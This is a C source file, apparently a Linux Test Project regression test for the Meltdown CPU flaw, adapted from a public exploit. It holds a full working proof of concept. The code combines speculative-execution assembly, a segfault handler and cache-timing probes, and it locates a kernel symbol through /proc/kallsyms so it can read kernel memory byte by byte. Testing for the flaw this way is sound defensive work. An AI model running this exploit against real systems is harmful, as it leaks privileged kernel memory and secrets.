• Home
  • Line#
  • Scopes#
  • Navigate#
  • Raw
  • Download
1 /*
2  * Copyright (c) 2018 Pavel Boldin <pboldin@cloudlinux.com>
3  *
4  * This program is free software: you can redistribute it and/or modify
5  * it under the terms of the GNU General Public License as published by
6  * the Free Software Foundation, either version 2 of the License, or
7  * (at your option) any later version.
8  *
9  * This program is distributed in the hope that it will be useful,
10  * but WITHOUT ANY WARRANTY; without even the implied warranty of
11  * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
12  * GNU General Public License for more details.
13  *
14  * You should have received a copy of the GNU General Public License
15  * along with this program. If not, see <http://www.gnu.org/licenses/>.
16  *
17  * Original exploit: https://github.com/paboldin/meltdown-exploit.
18  */
19 
20 #include "config.h"
21 #include "tst_test.h"
22 
23 #if defined(__x86_64__) || defined(__i386__)
24 
25 #include <stdio.h>
26 #include <string.h>
27 #include <signal.h>
28 #include <ucontext.h>
29 #include <unistd.h>
30 #include <fcntl.h>
31 #include <ctype.h>
32 #include <sys/utsname.h>
33 
34 #include <emmintrin.h>
35 
36 #include "libtsc.h"
37 
38 #define TARGET_OFFSET	9
39 #define TARGET_SIZE	(1 << TARGET_OFFSET)
40 #define BITS_BY_READ	2
41 
42 static char target_array[BITS_BY_READ * TARGET_SIZE];
43 
44 static void
clflush_target(void)45 clflush_target(void)
46 {
47 	int i;
48 
49 	for (i = 0; i < BITS_BY_READ; i++)
50 		_mm_clflush(&target_array[i * TARGET_SIZE]);
51 }
52 
53 extern char failshere[];
54 extern char stopspeculate[];
55 
56 static void __attribute__((noinline))
speculate(unsigned long addr,char bit)57 speculate(unsigned long addr, char bit)
58 {
59 	register char mybit asm ("cl") = bit;
60 #ifdef __x86_64__
61 	asm volatile (
62 		"1:\n\t"
63 
64 		".rept 300\n\t"
65 		"add $0x141, %%rax\n\t"
66 		".endr\n"
67 
68 		"failshere:\n\t"
69 		"movb (%[addr]), %%al\n\t"
70 		"ror %[bit], %%rax\n\t"
71 		"and $1, %%rax\n\t"
72 		"shl $9, %%rax\n\t"
73 		"jz 1b\n\t"
74 
75 		"movq (%[target], %%rax, 1), %%rbx\n"
76 
77 		"stopspeculate: \n\t"
78 		"nop\n\t"
79 		:
80 		: [target] "r" (target_array),
81 		  [addr] "r" (addr),
82 		  [bit] "r" (mybit)
83 		: "rax", "rbx"
84 	);
85 #else /* defined(__x86_64__) */
86 	asm volatile (
87 		"1:\n\t"
88 
89 		".rept 300\n\t"
90 		"add $0x141, %%eax\n\t"
91 		".endr\n"
92 
93 		"failshere:\n\t"
94 		"movb (%[addr]), %%al\n\t"
95 		"ror %[bit], %%eax\n\t"
96 		"and $1, %%eax\n\t"
97 		"shl $9, %%eax\n\t"
98 		"jz 1b\n\t"
99 
100 		"movl (%[target], %%eax, 1), %%ebx\n"
101 
102 		"stopspeculate: \n\t"
103 		"nop\n\t"
104 		:
105 		: [target] "r" (target_array),
106 		  [addr] "r" (addr),
107 		  [bit] "r" (mybit)
108 		: "rax", "ebx"
109 	);
110 #endif
111 }
112 
113 #ifdef __i386__
114 # define REG_RIP	REG_EIP
115 #endif
116 
117 static void
sigsegv(int sig LTP_ATTRIBUTE_UNUSED,siginfo_t * siginfo LTP_ATTRIBUTE_UNUSED,void * context LTP_ATTRIBUTE_UNUSED)118 sigsegv(int sig LTP_ATTRIBUTE_UNUSED,
119 	siginfo_t *siginfo LTP_ATTRIBUTE_UNUSED,
120 	void *context LTP_ATTRIBUTE_UNUSED)
121 {
122 	ucontext_t *ucontext = context;
123 	unsigned long *prip = (unsigned long *)&ucontext->uc_mcontext.gregs[REG_RIP];
124 	if (*prip != (unsigned long)failshere) {
125 		tst_brk(TBROK,
126 			"Segmentation fault at unexpected location %lx",
127 			*prip);
128 		abort();
129 	}
130 	*prip = (unsigned long)stopspeculate;
131 	return;
132 }
133 
134 static int
set_signal(void)135 set_signal(void)
136 {
137 	struct sigaction act = {
138 		.sa_sigaction = sigsegv,
139 		.sa_flags = SA_SIGINFO,
140 	};
141 
142 	return sigaction(SIGSEGV, &act, NULL);
143 }
144 
145 static inline int
get_access_time(volatile char * addr)146 get_access_time(volatile char *addr)
147 {
148 	unsigned long long time1, time2;
149 	volatile int j LTP_ATTRIBUTE_UNUSED;
150 
151 	rdtscll(time1);
152 
153 	j = *addr;
154 
155 	_mm_mfence();
156 	rdtscll(time2);
157 
158 	return time2 - time1;
159 }
160 
161 static int cache_hit_threshold;
162 static int hist[BITS_BY_READ];
163 
164 static void
check(void)165 check(void)
166 {
167 	int i, time;
168 	volatile char *addr;
169 
170 	for (i = 0; i < BITS_BY_READ; i++) {
171 		addr = &target_array[i * TARGET_SIZE];
172 
173 		time = get_access_time(addr);
174 
175 		if (time <= cache_hit_threshold)
176 			hist[i]++;
177 	}
178 }
179 
180 #define CYCLES 10000
181 static int
readbit(int fd,unsigned long addr,char bit)182 readbit(int fd, unsigned long addr, char bit)
183 {
184 	int i, ret;
185 	static char buf[256];
186 
187 	memset(hist, 0, sizeof(hist));
188 
189 	for (i = 0; i < CYCLES; i++) {
190 		ret = pread(fd, buf, sizeof(buf), 0);
191 		if (ret < 0)
192 			tst_res(TBROK | TERRNO, "can't read fd");
193 
194 		clflush_target();
195 
196 		speculate(addr, bit);
197 		check();
198 	}
199 
200 #ifdef DEBUG
201 	for (i = 0; i < BITS_BY_READ; i++)
202 		tst_res(TINFO, "addr %lx hist[%x] = %d", addr, i, hist[i]);
203 #endif
204 
205 	if (hist[1] > CYCLES / 10)
206 		return 1;
207 	return 0;
208 }
209 
210 static int
readbyte(int fd,unsigned long addr)211 readbyte(int fd, unsigned long addr)
212 {
213 	int bit, res = 0;
214 
215 	for (bit = 0; bit < 8; bit ++ )
216 		res |= (readbit(fd, addr, bit) << bit);
217 
218 	return res;
219 }
220 
221 
222 static int
mysqrt(long val)223 mysqrt(long val)
224 {
225 	int root = val / 2, prevroot = 0, i = 0;
226 
227 	while (prevroot != root && i++ < 100) {
228 		prevroot = root;
229 		root = (val / root + root) / 2;
230 	}
231 
232 	return root;
233 }
234 
235 #define ESTIMATE_CYCLES	1000000
236 static void
set_cache_hit_threshold(void)237 set_cache_hit_threshold(void)
238 {
239 	long cached, uncached, i;
240 
241 	for (cached = 0, i = 0; i < ESTIMATE_CYCLES; i++)
242 		cached += get_access_time(target_array);
243 
244 	for (cached = 0, i = 0; i < ESTIMATE_CYCLES; i++)
245 		cached += get_access_time(target_array);
246 
247 	for (uncached = 0, i = 0; i < ESTIMATE_CYCLES; i++) {
248 		_mm_clflush(target_array);
249 		uncached += get_access_time(target_array);
250 	}
251 
252 	cached /= ESTIMATE_CYCLES;
253 	uncached /= ESTIMATE_CYCLES;
254 
255 	cache_hit_threshold = mysqrt(cached * uncached);
256 
257 	tst_res(TINFO,
258 		"access time: cached = %ld, uncached = %ld, threshold = %d",
259 		cached, uncached, cache_hit_threshold);
260 }
261 
262 static unsigned long
find_symbol_in_file(const char * filename,const char * symname)263 find_symbol_in_file(const char *filename, const char *symname)
264 {
265 	unsigned long addr;
266 	char type;
267 	int ret, read;
268 	char fmt[strlen(symname) + 64];
269 
270 	sprintf(fmt, "%%lx %%c %s%%c", symname);
271 
272 	ret = SAFE_FILE_LINES_SCANF(filename, fmt, &addr, &type, &read);
273 	if (ret)
274 		return 0;
275 
276 	return addr;
277 }
278 
279 static unsigned long
find_kernel_symbol(const char * name)280 find_kernel_symbol(const char *name)
281 {
282 	char systemmap[256];
283 	struct utsname utsname;
284 	unsigned long addr;
285 
286 	addr = find_symbol_in_file("/proc/kallsyms", name);
287 	if (addr)
288 		return addr;
289 
290 	tst_res(TINFO, "not found '%s' in /proc/kallsyms", name);
291 	if (uname(&utsname) < 0)
292 		tst_brk(TBROK | TERRNO, "uname");
293 
294 	sprintf(systemmap, "/boot/System.map-%s", utsname.release);
295 
296 	tst_res(TINFO, "looking in '%s'\n", systemmap);
297 	addr = find_symbol_in_file(systemmap, name);
298 	return addr;
299 }
300 
301 static unsigned long saved_cmdline_addr;
302 static int spec_fd;
303 
setup(void)304 static void setup(void)
305 {
306 	set_cache_hit_threshold();
307 
308 	saved_cmdline_addr = find_kernel_symbol("saved_command_line");
309 	tst_res(TINFO, "&saved_command_line == 0x%lx", saved_cmdline_addr);
310 
311 	spec_fd = SAFE_OPEN("/proc/cmdline", O_RDONLY);
312 
313 	memset(target_array, 1, sizeof(target_array));
314 
315 	if (set_signal() < 0)
316 		tst_res(TBROK | TERRNO, "set_signal");
317 }
318 
319 #define READ_SIZE 32
320 
run(void)321 static void run(void)
322 {
323 	unsigned int i, score = 0, ret;
324 	unsigned long addr;
325 	unsigned long size;
326 	char read[READ_SIZE] = { 0 };
327 	char expected[READ_SIZE] = { 0 };
328 	int expected_len;
329 
330 	expected_len = pread(spec_fd, expected, sizeof(expected), 0);
331 	if (expected_len < 0)
332 		tst_res(TBROK | TERRNO, "can't read test fd");
333 
334 	/* read address of saved_cmdline_addr */
335 	addr = saved_cmdline_addr;
336 	size = sizeof(addr);
337 	for (i = 0; i < size; i++) {
338 		ret = readbyte(spec_fd, addr);
339 
340 		read[i] = ret;
341 		tst_res(TINFO, "read %lx = 0x%02x %c", addr, ret,
342 			isprint(ret) ? ret : ' ');
343 
344 		addr++;
345 	}
346 
347 	/* read value pointed to by saved_cmdline_addr */
348 	memcpy(&addr, read, sizeof(addr));
349 	memset(read, 0, sizeof(read));
350 	tst_res(TINFO, "save_command_line: 0x%lx", addr);
351 	size = expected_len;
352 
353 	if (!addr)
354 		goto done;
355 
356 	for (i = 0; i < size; i++) {
357 		ret = readbyte(spec_fd, addr);
358 
359 		read[i] = ret;
360 		tst_res(TINFO, "read %lx = 0x%02x %c | expected 0x%02x |"
361 			" match: %d", addr, ret, isprint(ret) ? ret : ' ',
362 			expected[i], read[i] == expected[i]);
363 
364 		addr++;
365 	}
366 
367 	for (i = 0; i < size; i++)
368 		if (expected[i] == read[i])
369 			score++;
370 
371 done:
372 	if (score > size / 2)
373 		tst_res(TFAIL, "I was able to read your kernel memory!!!");
374 	else
375 		tst_res(TPASS, "I was not able to read your kernel memory");
376 	tst_res(TINFO, "score(matched/all): %u / %lu", score, size);
377 }
378 
cleanup(void)379 static void cleanup(void)
380 {
381 	SAFE_CLOSE(spec_fd);
382 }
383 
384 static struct tst_test test = {
385 	.needs_root = 1,
386 	.setup = setup,
387 	.test_all = run,
388 	.cleanup = cleanup,
389 	.min_kver = "2.6.32"
390 };
391 
392 #else /* #if defined(__x86_64__) || defined(__i386__) */
393 
394 TST_TEST_TCONF("not x86_64 or i386");
395 
396 #endif /* #else #if defined(__x86_64__) || defined(__i386__) */
397